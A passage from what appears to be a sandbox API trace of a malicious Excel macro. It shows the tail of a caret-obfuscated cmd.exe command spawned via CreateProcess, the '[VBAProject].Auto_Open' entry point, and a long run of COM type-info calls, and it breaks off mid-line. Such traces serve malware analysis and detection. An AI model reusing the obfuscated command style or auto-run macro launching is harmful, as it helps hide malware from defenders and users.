^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) ", lpProcessInformation=0x23d870*(hProcess=0xf1c, hThread=0xe3c, dwProcessId=0xac0, dwThreadId=0xac4)) returned 1 [0098.201] GetLastError () returned 0x0 [0098.201] WaitForInputIdle (hProcess=0xf1c, dwMilliseconds=0x2710) returned 0xffffffff [0098.201] CloseHandle (hObject=0xe3c) returned 1 [0098.201] CloseHandle (hObject=0xf1c) returned 1 [0098.202] GetAsyncKeyState (vKey=27) returned 0 [0098.205] IMalloc:Free (This=0x7feffc15380, pv=0xbb35e60) [0098.206] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0098.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0098.206] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0098.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb3dd788, cbMultiByte=11, lpWideCharStr=0x4f3abf8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0098.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Open", cchWideChar=-1, lpMultiByteStr=0x23e720, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Open", lpUsedDefaultChar=0x0) returned 23 [0098.207] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb6b7930 [0098.207] strncpy_s (in: _Dst=0xb6b7930, _DstSize=0x18, _Src="[VBAProject].Auto_Open", _MaxCount=0x16 | out: _Dst="[VBAProject].Auto_Open") returned 0x0 [0098.207] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0098.207] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbd1fb40 [0098.207] qsort (in: _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c | out: _Base=0xbd1fb40) [0098.207] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0098.207] bsearch (_Key=0x23d638, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0x0 [0098.207] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0098.207] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0098.207] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0098.207] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Open") returned 0x102056 [0098.207] bsearch (_Key=0x23d638, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0x0 [0098.207] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0098.208] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0098.208] IMalloc:Free (This=0x7feffc15380, pv=0xb6b7930) [0099.058] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x70f8280 [0099.058] IUnknown:AddRef (This=0xb901f70) returned 0x2 [0099.058] IUnknown:QueryInterface (in: This=0xb901f70, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x24e630 | out: ppvObject=0x24e630*=0x0) returned 0x80004002 [0099.058] IUnknown:AddRef (This=0xb902020) returned 0x2 [0099.058] IUnknown:AddRef (This=0xb902078) returned 0x2 [0099.058] IUnknown:QueryInterface (in: This=0xb901f70, riid=0x7fee60840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24e578 | out: ppvObject=0x24e578*=0xb901f70) returned 0x0 [0099.058] ITypeInfo2:GetCustData (in: This=0xb901f70, GUID=0x7fee608d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x24e588 | out: pVarVal=0x24e588*(varType=0x0, wReserved1=0x24, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0099.058] IUnknown:Release (This=0xb901f70) returned 0x2 [0099.058] ITypeInfo:RemoteGetDocumentation (in: This=0xb901f70, memid=-1, refPtrFlags=0x24e580, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x24e5a0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x24e5a0*="") returned 0x0 [0099.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x24e490, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0099.058] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0099.058] ITypeInfo:RemoteGetTypeAttr (in: This=0xb902020, ppTypeAttr=0x24e580, pDummy=0x0 | out: ppTypeAttr=0x24e580, pDummy=0x0) returned 0x0 [0099.058] ITypeInfo:LocalReleaseTypeAttr (This=0xb902020) returned 0x0 [0099.058] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x0, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.058] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.058] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.058] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.058] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.058] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.058] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x5, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x6, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x7, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x8, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x9, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xa, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xb, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xc, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xd, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xe, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0xf, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x10, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x11, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x12, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x13, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x14, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.059] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.059] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x15, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x16, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x17, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x18, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x19, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1e, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x1f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x20, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x21, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x22, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x23, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x24, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x25, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.060] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x26, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.060] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x27, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x28, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x29, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x2f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x30, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x31, ppFuncDesc=0x24e558, pDummy=0x3ff0 | out: ppFuncDesc=0x24e558, pDummy=0x3ff0) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x32, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x33, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x34, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x35, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x36, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x37, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x38, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.061] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.061] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x39, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x3f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x40, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x41, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x42, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x43, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x44, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x45, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x46, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x47, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x48, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x49, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4a, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.062] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4b, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.062] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4c, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4d, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4e, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x4f, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, pDummy=0x70) returned 0x0 [0099.063] ITypeInfo:LocalReleaseFuncDesc (This=0xb902020) returned 0x0 [0099.063] ITypeInfo:RemoteGetFuncDesc (in: This=0xb902020, index=0x50, ppFuncDesc=0x24e558, pDummy=0x70 | out: ppFuncDesc=0x24e558, 